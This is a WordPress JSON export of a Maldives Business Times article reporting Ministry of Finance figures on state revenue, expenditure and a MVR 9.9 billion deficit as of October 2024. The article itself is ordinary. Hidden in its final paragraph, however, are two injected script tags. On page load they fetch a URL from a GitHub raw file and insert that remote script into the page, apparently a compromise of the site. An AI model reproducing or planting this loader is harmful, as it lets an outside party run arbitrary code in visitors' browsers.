{"id":12366,"date":"2024-11-11T14:21:31","date_gmt":"2024-11-11T09:21:31","guid":{"rendered":"https:\/\/mbt.mv\/?p=12366"},"modified":"2024-11-11T14:21:31","modified_gmt":"2024-11-11T09:21:31","slug":"state-expenditure-reaches-mvr-38-9-bn-deficit-hits-mvr-9-9-bn","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=12366","title":{"rendered":"State expenditure reaches MVR 38.9 Bn, deficit hits MVR 9.9 Bn"},"content":{"rendered":"<p>According to the Ministry of Finance the state&#8217;s cumulative expenditure has reached a total of MVR 38.9 billion as of October 31, 2024.<\/p>\n<p>The ministry in its Weekly Fiscal Developments reported that the cumulative state revenues, inclusive of grants, reached MVR 29.1 billion as of the review date. Owing to this, the overall balance for the period is a deficit of MVR 9.9 billion.<\/p>\n<h2>Total Revenues<\/h2>\n<ul>\n<li><strong>Tax Revenues:<\/strong> MVR 22.3 billion<\/li>\n<li><strong>Non-tax Revenues:<\/strong> MVR 6.3 billion<\/li>\n<li><strong>Capital Receipts:<\/strong> MVR 10.9 million<\/li>\n<li><strong>Grants:<\/strong> MVR 565.0 million<\/li>\n<\/ul>\n<p><em>Note: The above figures are cumulative total as of October 31, 2024<\/em><\/p>\n<h3>Top Revenue Contributors<\/h3>\n<ol>\n<li>GST: MVR 11.9 billion<\/li>\n<li>Business and Property Tax: MVR 5.7 billion<\/li>\n<li>Import Duties: MVR 2.7 billion<\/li>\n<li>Fees and Charges: MVR 2.2 billion<\/li>\n<li>Property Income: MVR 1.9 billion<\/li>\n<\/ol>\n<p>Under GST, the state has collected MVR 7.8 billion in Tourism Goods and Services Tax (TGST) and another MVR 4.2 billion in General Goods and Services Tax (GGST).<\/p>\n<h2>Total Expenditure<\/h2>\n<ul>\n<li>Recurrent Expenditure: MVR 27.9 billion<\/li>\n<li>Capital Expenditure: MVR 11.1 billion<\/li>\n<\/ul>\n<p>Under recurrent expenditure, the state has spent MVR 11.2 billion on salaries, wages and pensions of public sector employees, and another MVR 16.6 billion on administrative and operational expenses.<\/p>\n<p>Meanwhile, out of the budgeted MVR 2.2 billion total on loan repayment, the government has already settled MVR 2.05 billion.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>According to the Ministry of Finance the state&#8217;s cumulative expenditure has reached a total of MVR 38.9 billion as of October 31, 2024. The ministry in its Weekly Fiscal Developments reported that the cumulative state revenues, inclusive of grants, reached MVR 29.1 billion as of the review date. Owing to this, the overall balance for<\/p>\n","protected":false},"author":4,"featured_media":12367,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423,2424,2428],"tags":[],"class_list":{"0":"post-12366","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business","8":"category-finance","9":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>State expenditure reaches MVR 38.9 Bn, deficit hits MVR 9.9 Bn - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=12366\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"State expenditure reaches MVR 38.9 Bn, deficit hits MVR 9.9 Bn - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"According to the Ministry of Finance the state&#8217;s cumulative expenditure has reached a total of MVR 38.9 billion as of October 31, 2024. The ministry in its Weekly Fiscal Developments reported that the cumulative state revenues, inclusive of grants, reached MVR 29.1 billion as of the review date. Owing to this, the overall balance for\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=12366\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-11T09:21:31+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=12366#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=12366\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"State expenditure reaches MVR 38.9 Bn, deficit hits MVR 9.9 Bn\",\"datePublished\":\"2024-11-11T09:21:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=12366\"},\"wordCount\":202,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=12366#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"BUSINESS\",\"FINANCE\",\"PUBLIC SECTOR\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=12366#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=12366\",\"url\":\"https:\/\/mbt.mv\/?p=12366\",\"name\":\"State expenditure reaches MVR 38.9 Bn, deficit hits MVR 9.9 Bn - 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